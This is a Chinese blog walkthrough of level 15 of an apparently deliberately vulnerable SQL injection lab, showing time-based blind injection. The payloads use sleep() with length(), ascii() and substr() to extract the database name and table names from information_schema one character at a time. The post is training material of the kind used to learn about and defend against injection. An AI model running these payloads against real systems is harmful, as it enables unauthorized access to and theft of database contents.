当前位置: 首页 > news >正文

SQL 时间盲注 (injection 第十五关)

简介


        SQL注入(SQL Injection)是一种常见的网络攻击方式,通过向SQL查询中插入恶意的SQL代码,攻击者可以操控数据库,SQL注入是一种代码注入攻击,其中攻击者将恶意的SQL代码插入到应用程序的输入字段中,然后这些输入被传递到数据库服务器上执行。攻击者可以利用这一漏洞执行任意的SQL查询或命令,从而访问或操控数据库中的敏感信息。

       SQL注入的一个简要流程:


1、打开目标靶场

2、选择less - 15

3、确定网站可以注入的参数

本关可以直接在输入框中搜索 

4、判断闭合方式   

本关为 1' #

5、确定字段列数 

使用 order by

 若页面正常,则存在1列,输入  1' and if(length(database())>7,sleep(5),1) #

发现有时间延迟,则数据库长度大于7

最终确定数据库长度为8

6、确定数据名称

可以输入以下代码

1' and if(ascii(substr(database(),1,1))>114,sleep(5),1) #

以此可以确定第一个字符的ASCII码值为115,字母为s

7、查询数据库中第一张表


查询第一张表的第一个字符

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(5),1) #

有延时则大于100

最终可以确定第一位字符ascii码为101,确定为字母e

按照此法依次可以得出最终自己想要的数据内容!!!

安全 

网络是把双刃剑,安全使用是关键

​​​​​​​

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • java.sql.SQLException: txn too large, size: 104857606.
  • SQLALchemy 分组过滤、子查询
  • QT网络编程: 实现UDP通讯设置
  • java使用itext 直接生成pdf
  • 2025ICASSP Author Guidelines
  • 宠物空气净化器推荐买吗?清除浮毛的效果好吗
  • 改变自己·心情治愈
  • [000-01-030].Zookeeper学习大纲
  • node版本8.x→16.x,前端维护火葬场,问题及解决方案总结
  • 如何将本地组件库上传到npm上
  • 【区块链+金融服务】甘肃股权交易中心企业金融服务平台 | FISCO BCOS应用案例
  • DQL-案例
  • 第10章 无持久存储的文件系统 (3)
  • 【hot100篇-python刷题记录】【和为 K 的子数组】
  • 写一个githubDemo
  • 【技术性】Search知识
  • 0基础学习移动端适配
  • conda常用的命令
  • Linux编程学习笔记 | Linux多线程学习[2] - 线程的同步
  • Promise面试题,控制异步流程
  • Spring Cloud中负载均衡器概览
  • 反思总结然后整装待发
  • 它承受着该等级不该有的简单, leetcode 564 寻找最近的回文数
  • 原生Ajax
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • NLPIR智能语义技术让大数据挖掘更简单
  • 大数据全解:定义、价值及挑战
  • 翻译 | The Principles of OOD 面向对象设计原则
  • # Maven错误Error executing Maven
  • # 数仓建模:如何构建主题宽表模型?
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • #162 (Div. 2)
  • #define用法
  • #NOIP 2014# day.1 生活大爆炸版 石头剪刀布
  • #QT(智能家居界面-界面切换)
  • #Z2294. 打印树的直径
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • (javaweb)Http协议
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (补)B+树一些思想
  • (力扣)1314.矩阵区域和
  • (三)Kafka 监控之 Streams 监控(Streams Monitoring)和其他
  • (转)h264中avc和flv数据的解析
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)
  • *算法训练(leetcode)第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
  • .apk 成为历史!
  • .Family_物联网
  • .NET 3.0 Framework已经被添加到WindowUpdate
  • .NET Remoting Basic(10)-创建不同宿主的客户端与服务器端
  • .NET 将混合了多个不同平台(Windows Mac Linux)的文件 目录的路径格式化成同一个平台下的路径
  • .NET 自定义中间件 判断是否存在 AllowAnonymousAttribute 特性 来判断是否需要身份验证
  • .net6 当连接用户的shell断掉后,dotnet会自动关闭,达不到长期运行的效果。.NET 进程守护
  • .net图片验证码生成、点击刷新及验证输入是否正确
  • @Conditional注解详解
  • @RequestParam @RequestBody @PathVariable 等参数绑定注解详解